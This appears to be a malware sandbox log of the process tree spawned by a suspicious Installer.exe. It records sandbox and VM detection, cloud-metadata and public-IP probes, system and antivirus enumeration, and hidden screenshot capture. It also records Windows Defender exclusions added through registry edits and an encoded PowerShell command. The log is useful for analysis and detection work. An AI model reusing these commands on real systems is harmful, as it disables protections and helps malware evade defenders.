- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\Wine""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\Wine"
    3⤵
    PID:6108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get manufacturer,version,serialnumber,smbiosbiosversion /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2268
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get manufacturer,version,serialnumber,smbiosbiosversion /format:list
    3⤵
    PID:1088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get manufacturer,model,systemfamily /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3416
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get manufacturer,model,systemfamily /format:list
    3⤵
    PID:1044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1516
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Enumerates processes with tasklist
    PID:1824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_videocontroller get name,description /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_videocontroller get name,description /format:list
    3⤵
    - Detects videocard installed
    PID:1172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get model,caption /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get model,caption /format:list
    3⤵
    PID:1912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get name /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get name /format:list
    3⤵
    PID:2952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get name /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get name /format:list
    3⤵
    PID:4044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
    3⤵
    PID:3028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\CWSandbox""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4708
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\CWSandbox"
    3⤵
    PID:5956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\JoeSecurityBox""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5432
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\JoeSecurityBox"
    3⤵
    PID:4348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\HybridAnalysis""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\HybridAnalysis"
    3⤵
    PID:1692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/computeMetadata/v1/ -Headers @{'Metadata-Flavor'='Google'} -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/computeMetadata/v1/ -Headers @{'Metadata-Flavor'='Google'} -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/metadata/instance?api-version=2021-02-01 -Headers @{Metadata='true'} -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/metadata/instance?api-version=2021-02-01 -Headers @{Metadata='true'} -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/latest/meta-data/ -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}""
  2⤵
  PID:3356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try{(Invoke-WebRequest -Uri http://169.254.169.254/latest/meta-data/ -TimeoutSec 2 -UseBasicParsing).StatusCode}catch{0}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Invoke-WebRequest -Uri https://api.ipify.org -TimeoutSec 5 -UseBasicParsing).Content""
  2⤵
  PID:864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Invoke-WebRequest -Uri https://api.ipify.org -TimeoutSec 5 -UseBasicParsing).Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2716
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=3124 --field-trial-handle=1696,i,12195745078077107745,189317494558866814,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
  2⤵
  PID:3932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:1400
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1188
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_e3b1b108.vbs""
  2⤵
  PID:2108
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_e3b1b108.vbs"
    3⤵
    PID:5468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:1768
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5640
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:3936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207" /t REG_DWORD /d 0 /f"
  2⤵
  PID:1824
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207" /t REG_DWORD /d 0 /f"
  2⤵
  PID:1036
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207" /t REG_DWORD /d 0 /f
    3⤵
    PID:4244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
  2⤵
  PID:3944
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5456
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
    3⤵
    PID:5796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:2868
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4164
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:4400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:3788
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5736
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:4212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:6132
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:3452
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_1.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:3752
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_1.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_2.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:2992
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_2.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADEAMwA4ADcANgA1ADIAMAA3ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMQAzADgANwA2ADUAMgAwADcAXABjAG8AbQBwAG8AbgBlAG4AdABfADEALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAxADMAOAA3ADYANQAyADAANwBcAGMAbwBtAHAAbwBuAGUAbgB0AF8AMgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgB0AG0AcAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAGMAbwBtAHAAbwBuAGUAbgB0AF8AMQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBvAG0AcABvAG4AZQBuAHQAXwAyAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
  2⤵
  PID:2020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADEAMwA4ADcANgA1ADIAMAA3ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMQAzADgANwA2ADUAMgAwADcAXABjAG8AbQBwAG8AbgBlAG4AdABfADEALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAxADMAOAA3ADYANQAyADAANwBcAGMAbwBtAHAAbwBuAGUAbgB0AF8AMgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgB0AG0AcAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAGMAbwBtAHAAbwBuAGUAbgB0AF8AMQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBvAG0AcABvAG4AZQBuAHQAXwAyAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /format:list"
  2⤵
  PID:6088
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /format:list
    3⤵
    PID:4896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783138787490.png\"); $g.Dispose(); $bmp.Dispose()""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:2596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783138787490.png\"); $g.Dispose(); $bmp.Dispose()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe""
  2⤵
  PID:2356
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    3⤵
    PID:2508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207""
  2⤵
  PID:2212
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207"
    3⤵
    PID:4156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache""
  2⤵
  PID:5936
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache"
    3⤵
    PID:4080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe""
  2⤵
  PID:5696
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe"
    3⤵
    PID:1752
- C:\Windows\system32\cmd.exe
